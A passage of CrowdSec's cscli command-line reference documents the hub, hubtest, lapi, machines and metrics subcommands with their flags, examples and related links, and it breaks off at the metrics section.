``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli hub](https://docs.crowdsec.net/docs/next/cscli/cscli_hub.md) - Manage hub index --- # cscli hub update ## cscli hub update[โ€‹](#cscli-hub-update "Direct link to cscli hub update") Download the latest index (catalog of available configurations) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Fetches the .index.json file from the hub, containing the list of available configs. TEXTCOPY ``` cscli hub update [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Download the last version of the index file. cscli hub update # Download a 4x bigger version with all item contents (effectively pre-caching item downloads, but not data files). cscli hub update --with-content ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for update --with-content Download index with embedded item content ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli hub](https://docs.crowdsec.net/docs/next/cscli/cscli_hub.md) - Manage hub index --- # cscli hub upgrade ## cscli hub upgrade[โ€‹](#cscli-hub-upgrade "Direct link to cscli hub upgrade") Upgrade all configurations to their latest version ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Upgrade all configs installed from Crowdsec Hub. Run 'sudo cscli hub update' if you want the latest versions available. TEXTCOPY ``` cscli hub upgrade [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Upgrade all the collections, scenarios etc. to the latest version in the downloaded index. Update data files too. cscli hub upgrade # Upgrade tainted items as well; force re-download of data files. cscli hub upgrade --force # Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. cscli hub upgrade --interactive cscli hub upgrade -i ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` --dry-run Don't install or remove anything; print the execution plan --force Force upgrade: overwrite tainted and outdated items; always update data files -h, --help help for upgrade -i, --interactive Ask for confirmation before proceeding ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli hub](https://docs.crowdsec.net/docs/next/cscli/cscli_hub.md) - Manage hub index --- # cscli hubtest ## cscli hubtest[โ€‹](#cscli-hubtest "Direct link to cscli hubtest") Run functional tests on hub configurations ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Run functional tests on hub configurations (parsers, scenarios, collections...) TEXTCOPY ``` cscli hubtest [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` --appsec Command relates to appsec tests --crowdsec string Path to crowdsec (default "crowdsec") --cscli string Path to cscli (default "cscli") -h, --help help for hubtest --hub string Path to hub folder (default ".") ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli](https://docs.crowdsec.net/docs/next/cscli/.md) - cscli allows you to manage crowdsec * [cscli hubtest clean](https://docs.crowdsec.net/docs/next/cscli/cscli_hubtest_clean.md) - clean \[test\_name] * [cscli hubtest coverage](https://docs.crowdsec.net/docs/next/cscli/cscli_hubtest_coverage.md) - coverage * [cscli hubtest create](https://docs.crowdsec.net/docs/next/cscli/cscli_hubtest_create.md) - create \[test\_name] * [cscli hubtest eval](https://docs.crowdsec.net/docs/next/cscli/cscli_hubtest_eval.md) - eval \[test\_name]... * [cscli hubtest explain](https://docs.crowdsec.net/docs/next/cscli/cscli_hubtest_explain.md) - explain \[test\_name] * [cscli hubtest info](https://docs.crowdsec.net/docs/next/cscli/cscli_hubtest_info.md) - info \[test\_name] * [cscli hubtest list](https://docs.crowdsec.net/docs/next/cscli/cscli_hubtest_list.md) - list * [cscli hubtest run](https://docs.crowdsec.net/docs/next/cscli/cscli_hubtest_run.md) - run \[test\_name] --- # cscli hubtest clean ## cscli hubtest clean[โ€‹](#cscli-hubtest-clean "Direct link to cscli hubtest clean") clean \[test\_name] TEXTCOPY ``` cscli hubtest clean [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` --all Run all tests -h, --help help for clean ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --appsec Command relates to appsec tests --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --crowdsec string Path to crowdsec (default "crowdsec") --cscli string Path to cscli (default "cscli") --debug Set logging to debug --error Set logging to error --hub string Path to hub folder (default ".") --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli hubtest](https://docs.crowdsec.net/docs/next/cscli/cscli_hubtest.md) - Run functional tests on hub configurations --- # cscli hubtest coverage ## cscli hubtest coverage[โ€‹](#cscli-hubtest-coverage "Direct link to cscli hubtest coverage") coverage TEXTCOPY ``` cscli hubtest coverage [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` --appsec Show only appsec coverage -h, --help help for coverage --parsers Show only parsers coverage --percent Show only percentages of coverage --scenarios Show only scenarios coverage ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --crowdsec string Path to crowdsec (default "crowdsec") --cscli string Path to cscli (default "cscli") --debug Set logging to debug --error Set logging to error --hub string Path to hub folder (default ".") --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli hubtest](https://docs.crowdsec.net/docs/next/cscli/cscli_hubtest.md) - Run functional tests on hub configurations --- # cscli hubtest create ## cscli hubtest create[โ€‹](#cscli-hubtest-create "Direct link to cscli hubtest create") create \[test\_name] TEXTCOPY ``` cscli hubtest create [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli hubtest create my-awesome-test --type syslog cscli hubtest create my-nginx-custom-test --type nginx cscli hubtest create my-scenario-test --parsers crowdsecurity/nginx --scenarios crowdsecurity/http-probing ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for create --ignore-parsers Don't run test on parsers -p, --parsers strings Parsers to add to test --postoverflows strings Postoverflows to add to test -s, --scenarios strings Scenarios to add to test -t, --type string Log type of the test ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --appsec Command relates to appsec tests --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --crowdsec string Path to crowdsec (default "crowdsec") --cscli string Path to cscli (default "cscli") --debug Set logging to debug --error Set logging to error --hub string Path to hub folder (default ".") --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli hubtest](https://docs.crowdsec.net/docs/next/cscli/cscli_hubtest.md) - Run functional tests on hub configurations --- # cscli hubtest eval ## cscli hubtest eval[โ€‹](#cscli-hubtest-eval "Direct link to cscli hubtest eval") eval \[test\_name]... TEXTCOPY ``` cscli hubtest eval [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -e, --expr string Expression to eval -h, --help help for eval ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --appsec Command relates to appsec tests --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --crowdsec string Path to crowdsec (default "crowdsec") --cscli string Path to cscli (default "cscli") --debug Set logging to debug --error Set logging to error --hub string Path to hub folder (default ".") --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli hubtest](https://docs.crowdsec.net/docs/next/cscli/cscli_hubtest.md) - Run functional tests on hub configurations --- # cscli hubtest explain ## cscli hubtest explain[โ€‹](#cscli-hubtest-explain "Direct link to cscli hubtest explain") explain \[test\_name] TEXTCOPY ``` cscli hubtest explain [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` --failures Only show failed lines -h, --help help for explain -v, --verbose Display individual changes ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --appsec Command relates to appsec tests --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --crowdsec string Path to crowdsec (default "crowdsec") --cscli string Path to cscli (default "cscli") --debug Set logging to debug --error Set logging to error --hub string Path to hub folder (default ".") --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli hubtest](https://docs.crowdsec.net/docs/next/cscli/cscli_hubtest.md) - Run functional tests on hub configurations --- # cscli hubtest info ## cscli hubtest info[โ€‹](#cscli-hubtest-info "Direct link to cscli hubtest info") info \[test\_name] TEXTCOPY ``` cscli hubtest info [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for info ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --appsec Command relates to appsec tests --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --crowdsec string Path to crowdsec (default "crowdsec") --cscli string Path to cscli (default "cscli") --debug Set logging to debug --error Set logging to error --hub string Path to hub folder (default ".") --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli hubtest](https://docs.crowdsec.net/docs/next/cscli/cscli_hubtest.md) - Run functional tests on hub configurations --- # cscli hubtest list ## cscli hubtest list[โ€‹](#cscli-hubtest-list "Direct link to cscli hubtest list") list TEXTCOPY ``` cscli hubtest list [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for list ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --appsec Command relates to appsec tests --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --crowdsec string Path to crowdsec (default "crowdsec") --cscli string Path to cscli (default "cscli") --debug Set logging to debug --error Set logging to error --hub string Path to hub folder (default ".") --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli hubtest](https://docs.crowdsec.net/docs/next/cscli/cscli_hubtest.md) - Run functional tests on hub configurations --- # cscli hubtest run ## cscli hubtest run[โ€‹](#cscli-hubtest-run "Direct link to cscli hubtest run") run \[test\_name] TEXTCOPY ``` cscli hubtest run [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` --all Run all tests --clean Clean runtime environment if test fail -h, --help help for run --host string Address to expose AppSec for hubtest (default "127.0.0.1:4241") --max-jobs uint Max number of concurrent tests (does not apply to appsec) (default 14) --no-clean Don't clean runtime environment if test succeed --report-success Report successful tests too (implied with json output) --target string Target for AppSec Test (default "http://127.0.0.1:7822/") ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --appsec Command relates to appsec tests --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --crowdsec string Path to crowdsec (default "crowdsec") --cscli string Path to cscli (default "cscli") --debug Set logging to debug --error Set logging to error --hub string Path to hub folder (default ".") --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli hubtest](https://docs.crowdsec.net/docs/next/cscli/cscli_hubtest.md) - Run functional tests on hub configurations --- # cscli lapi ## cscli lapi[โ€‹](#cscli-lapi "Direct link to cscli lapi") Manage interaction with Local API (LAPI) TEXTCOPY ``` cscli lapi [action] [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for lapi ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli](https://docs.crowdsec.net/docs/next/cscli/.md) - cscli allows you to manage crowdsec * [cscli lapi context](https://docs.crowdsec.net/docs/next/cscli/cscli_lapi_context.md) - Manage context to send with alerts * [cscli lapi register](https://docs.crowdsec.net/docs/next/cscli/cscli_lapi_register.md) - Register a machine to Local API (LAPI) * [cscli lapi status](https://docs.crowdsec.net/docs/next/cscli/cscli_lapi_status.md) - Check authentication to Local API (LAPI) --- # cscli lapi context ## cscli lapi context[โ€‹](#cscli-lapi-context "Direct link to cscli lapi context") Manage context to send with alerts ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for context ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli lapi](https://docs.crowdsec.net/docs/next/cscli/cscli_lapi.md) - Manage interaction with Local API (LAPI) * [cscli lapi context add](https://docs.crowdsec.net/docs/next/cscli/cscli_lapi_context_add.md) - Add context to send with alerts. You must specify the output key with the expr value you want * [cscli lapi context delete](https://docs.crowdsec.net/docs/next/cscli/cscli_lapi_context_delete.md) - * [cscli lapi context detect](https://docs.crowdsec.net/docs/next/cscli/cscli_lapi_context_detect.md) - Detect available fields from the installed parsers * [cscli lapi context status](https://docs.crowdsec.net/docs/next/cscli/cscli_lapi_context_status.md) - List context to send with alerts --- # cscli lapi context add ## cscli lapi context add[โ€‹](#cscli-lapi-context-add "Direct link to cscli lapi context add") Add context to send with alerts. You must specify the output key with the expr value you want TEXTCOPY ``` cscli lapi context add [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli lapi context add --key source_ip --value evt.Meta.source_ip cscli lapi context add --key file_source --value evt.Line.Src cscli lapi context add --value evt.Meta.source_ip --value evt.Meta.target_user ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for add -k, --key string The key of the different values to send --value strings The expr fields to associate with the key ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli lapi context](https://docs.crowdsec.net/docs/next/cscli/cscli_lapi_context.md) - Manage context to send with alerts --- # cscli lapi context delete ## cscli lapi context delete[โ€‹](#cscli-lapi-context-delete "Direct link to cscli lapi context delete") TEXTCOPY ``` cscli lapi context delete [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for delete ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli lapi context](https://docs.crowdsec.net/docs/next/cscli/cscli_lapi_context.md) - Manage context to send with alerts --- # cscli lapi context detect ## cscli lapi context detect[โ€‹](#cscli-lapi-context-detect "Direct link to cscli lapi context detect") Detect available fields from the installed parsers TEXTCOPY ``` cscli lapi context detect [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli lapi context detect --all cscli lapi context detect crowdsecurity/sshd-logs ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -a, --all Detect evt field for all installed parser -h, --help help for detect ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli lapi context](https://docs.crowdsec.net/docs/next/cscli/cscli_lapi_context.md) - Manage context to send with alerts --- # cscli lapi context status ## cscli lapi context status[โ€‹](#cscli-lapi-context-status "Direct link to cscli lapi context status") List context to send with alerts TEXTCOPY ``` cscli lapi context status [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for status ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli lapi context](https://docs.crowdsec.net/docs/next/cscli/cscli_lapi_context.md) - Manage context to send with alerts --- # cscli lapi register ## cscli lapi register[โ€‹](#cscli-lapi-register "Direct link to cscli lapi register") Register a machine to Local API (LAPI) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Register your machine to the Local API (LAPI). Keep in mind the machine needs to be validated by an administrator on LAPI side to be effective. TEXTCOPY ``` cscli lapi register [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -f, --file string output file destination -h, --help help for register --machine string Name of the machine to register with --token string Auto registration token to use -u, --url string URL of the API (ie. http://127.0.0.1) ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli lapi](https://docs.crowdsec.net/docs/next/cscli/cscli_lapi.md) - Manage interaction with Local API (LAPI) --- # cscli lapi status ## cscli lapi status[โ€‹](#cscli-lapi-status "Direct link to cscli lapi status") Check authentication to Local API (LAPI) TEXTCOPY ``` cscli lapi status [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for status ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli lapi](https://docs.crowdsec.net/docs/next/cscli/cscli_lapi.md) - Manage interaction with Local API (LAPI) --- # cscli machines ## cscli machines[โ€‹](#cscli-machines "Direct link to cscli machines") Manage local API machines \[requires local API] ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") To list/add/delete/validate/prune machines. Note: This command requires database direct access, so is intended to be run on the local API machine. TEXTCOPY ``` cscli machines [action] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli machines [action] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for machines ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli](https://docs.crowdsec.net/docs/next/cscli/.md) - cscli allows you to manage crowdsec * [cscli machines add](https://docs.crowdsec.net/docs/next/cscli/cscli_machines_add.md) - add a single machine to the database * [cscli machines delete](https://docs.crowdsec.net/docs/next/cscli/cscli_machines_delete.md) - delete machine(s) by name * [cscli machines inspect](https://docs.crowdsec.net/docs/next/cscli/cscli_machines_inspect.md) - inspect a machine by name * [cscli machines list](https://docs.crowdsec.net/docs/next/cscli/cscli_machines_list.md) - list all machines in the database * [cscli machines prune](https://docs.crowdsec.net/docs/next/cscli/cscli_machines_prune.md) - prune multiple machines from the database * [cscli machines validate](https://docs.crowdsec.net/docs/next/cscli/cscli_machines_validate.md) - validate a machine to access the local API --- # cscli machines add ## cscli machines add[โ€‹](#cscli-machines-add "Direct link to cscli machines add") add a single machine to the database ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Register a new machine in the database. cscli should be on the same machine as LAPI. TEXTCOPY ``` cscli machines add [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli machines add --auto cscli machines add MyTestMachine --auto cscli machines add MyTestMachine --password MyPassword cscli machines add -f- --auto > /tmp/mycreds.yaml ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -a, --auto automatically generate password (and username if not provided) -f, --file string output file destination (defaults to /etc/crowdsec/local_api_credentials.yaml) --force will force add the machine if it already exists -h, --help help for add -i, --interactive interactive mode to enter the password -p, --password string machine password to login to the API -u, --url string URL of the local API ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli machines](https://docs.crowdsec.net/docs/next/cscli/cscli_machines.md) - Manage local API machines \[requires local API] --- # cscli machines delete ## cscli machines delete[โ€‹](#cscli-machines-delete "Direct link to cscli machines delete") delete machine(s) by name TEXTCOPY ``` cscli machines delete [machine_name]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli machines delete "machine1" "machine2" ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for delete --ignore-missing don't print errors if one or more machines don't exist ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli machines](https://docs.crowdsec.net/docs/next/cscli/cscli_machines.md) - Manage local API machines \[requires local API] --- # cscli machines inspect ## cscli machines inspect[โ€‹](#cscli-machines-inspect "Direct link to cscli machines inspect") inspect a machine by name TEXTCOPY ``` cscli machines inspect [machine_name] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli machines inspect "machine1" ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for inspect -H, --hub show hub state ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli machines](https://docs.crowdsec.net/docs/next/cscli/cscli_machines.md) - Manage local API machines \[requires local API] --- # cscli machines list ## cscli machines list[โ€‹](#cscli-machines-list "Direct link to cscli machines list") list all machines in the database ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") list all machines in the database with their status and last heartbeat TEXTCOPY ``` cscli machines list [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli machines list ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for list ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli machines](https://docs.crowdsec.net/docs/next/cscli/cscli_machines.md) - Manage local API machines \[requires local API] --- # cscli machines prune ## cscli machines prune[โ€‹](#cscli-machines-prune "Direct link to cscli machines prune") prune multiple machines from the database ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") prune multiple machines that are not validated or have not connected to the local API in a given duration. TEXTCOPY ``` cscli machines prune [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli machines prune cscli machines prune --duration 1h cscli machines prune --not-validated-only --force ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -d, --duration duration duration of time since validated machine last heartbeat (default 10m0s) --force force prune without asking for confirmation -h, --help help for prune --not-validated-only only prune machines that are not validated ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli machines](https://docs.crowdsec.net/docs/next/cscli/cscli_machines.md) - Manage local API machines \[requires local API] --- # cscli machines validate ## cscli machines validate[โ€‹](#cscli-machines-validate "Direct link to cscli machines validate") validate a machine to access the local API ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") validate a machine to access the local API. TEXTCOPY ``` cscli machines validate [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli machines validate "machine_name" ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for validate ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli machines](https://docs.crowdsec.net/docs/next/cscli/cscli_machines.md) - Manage local API machines \[requires local API] --- # cscli metrics ## cscli metrics[โ€‹](#cscli-metrics "Direct link to cscli metrics") Display crowdsec prometheus metrics. ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Fetch metrics from a Local API server and display them TEXTCOPY ``` cscli metrics [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Show all Metrics, skip empty tables (same as "cscli metrics show") cscli metrics # Show only some metrics, connect to a different url cscli metrics --url http://lapi.local:6060/metrics show acquisition parsers # List available metric types cscli metrics list ``` ### 